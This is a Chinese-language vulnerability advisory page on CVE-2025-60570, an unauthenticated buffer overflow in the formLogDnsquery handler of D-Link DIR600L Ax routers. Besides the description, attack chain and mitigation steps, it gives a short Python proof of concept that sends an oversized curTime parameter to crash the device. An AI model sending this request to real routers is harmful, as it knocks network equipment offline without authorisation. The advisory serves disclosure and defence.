IPBUF安全漏洞报告
English
CVE-2025-60570 CVSS 7.5 高危

D-Link DIR600L Ax缓冲区溢出漏洞 CVE-2025-60570

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-60570
漏洞类型
缓冲区溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
D-Link DIR600L Ax (FW116WWb01)

相关标签

缓冲区溢出D-Link路由器DIR600LCVE-2025-60570拒绝服务远程代码执行Web管理界面固件漏洞网络设备

漏洞概述

CVE-2025-60570是D-Link DIR600L Ax路由器固件FW116WWb01中的一个高危缓冲区溢出漏洞。该漏洞存在于Web管理界面的formLogDnsquery函数中,攻击者可以通过精心构造的curTime参数触发缓冲区溢出。由于该漏洞位于路由器固件的网络服务组件中,攻击者无需认证即可远程利用此漏洞。成功利用此漏洞可能导致设备拒绝服务(DoS),在某些情况下甚至可能实现远程代码执行,从而完全控制受影响的路由器设备。由于路由器通常位于网络边界,此漏洞可能对整个网络基础设施造成严重威胁。

技术细节

该缓冲区溢出漏洞位于D-Link DIR600L Ax路由器的Web管理功能formLogDnsquery函数中。漏洞的根本原因是该函数在处理用户输入的curTime参数时缺乏适当的边界检查。当攻击者向路由器发送包含超长字符串的curTime参数时,函数会将该数据写入固定大小的缓冲区中,导致缓冲区边界被覆盖。根据CVSS评分7.5和可用性影响为高(H)的向量,可以确认该漏洞主要影响系统的可用性。攻击者可以通过发送精心构造的HTTP请求到路由器的Web管理接口来触发此漏洞,无需任何认证凭据即可利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标D-Link DIR600L Ax路由器,获取其IP地址和Web管理接口访问地址
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长字符串的curTime参数,用于触发formLogDnsquery函数中的缓冲区溢出
STEP 3
步骤3: 发送恶意请求
攻击者通过HTTP GET请求将恶意payload发送到路由器的/formLogDnsquery端点,无需任何认证
STEP 4
步骤4: 触发溢出
路由器固件在处理超长curTime参数时,将其写入固定大小的缓冲区,导致内存溢出
STEP 5
步骤5: 造成影响
成功利用可导致路由器服务中断(DoS),在特定条件下可能实现代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-60570 PoC - D-Link DIR600L Ax Buffer Overflow in formLogDnsquery # Target: D-Link DIR600L Ax router with FW116WWb01 firmware target_ip = "192.168.0.1" # Default D-Link router IP target_port = 80 # Construct malicious payload with oversized curTime parameter # This triggers buffer overflow in formLogDnsquery function buffer_size = 1000 # Adjust based on target malicious_payload = "A" * buffer_size # Construct the exploit request exploit_url = f"http://{target_ip}:{target_port}/formLogDnsquery" params = { "curTime": malicious_payload } print(f"[*] Sending exploit payload to {exploit_url}") print(f"[*] Payload size: {len(malicious_payload)} bytes") try: response = requests.get(exploit_url, params=params, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Note: This PoC may cause DoS. Use responsibly and only on authorized systems.")

影响范围

D-Link DIR600L Ax FW116WWb01

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 禁用路由器的WAN端Web管理功能,仅允许通过LAN口访问管理界面;2) 使用强密码保护路由器管理账户;3) 监控路由器运行状态,发现异常及时重启恢复;4) 考虑更换受影响的路由器设备;5) 部署网络入侵检测系统监控针对该漏洞的扫描和攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表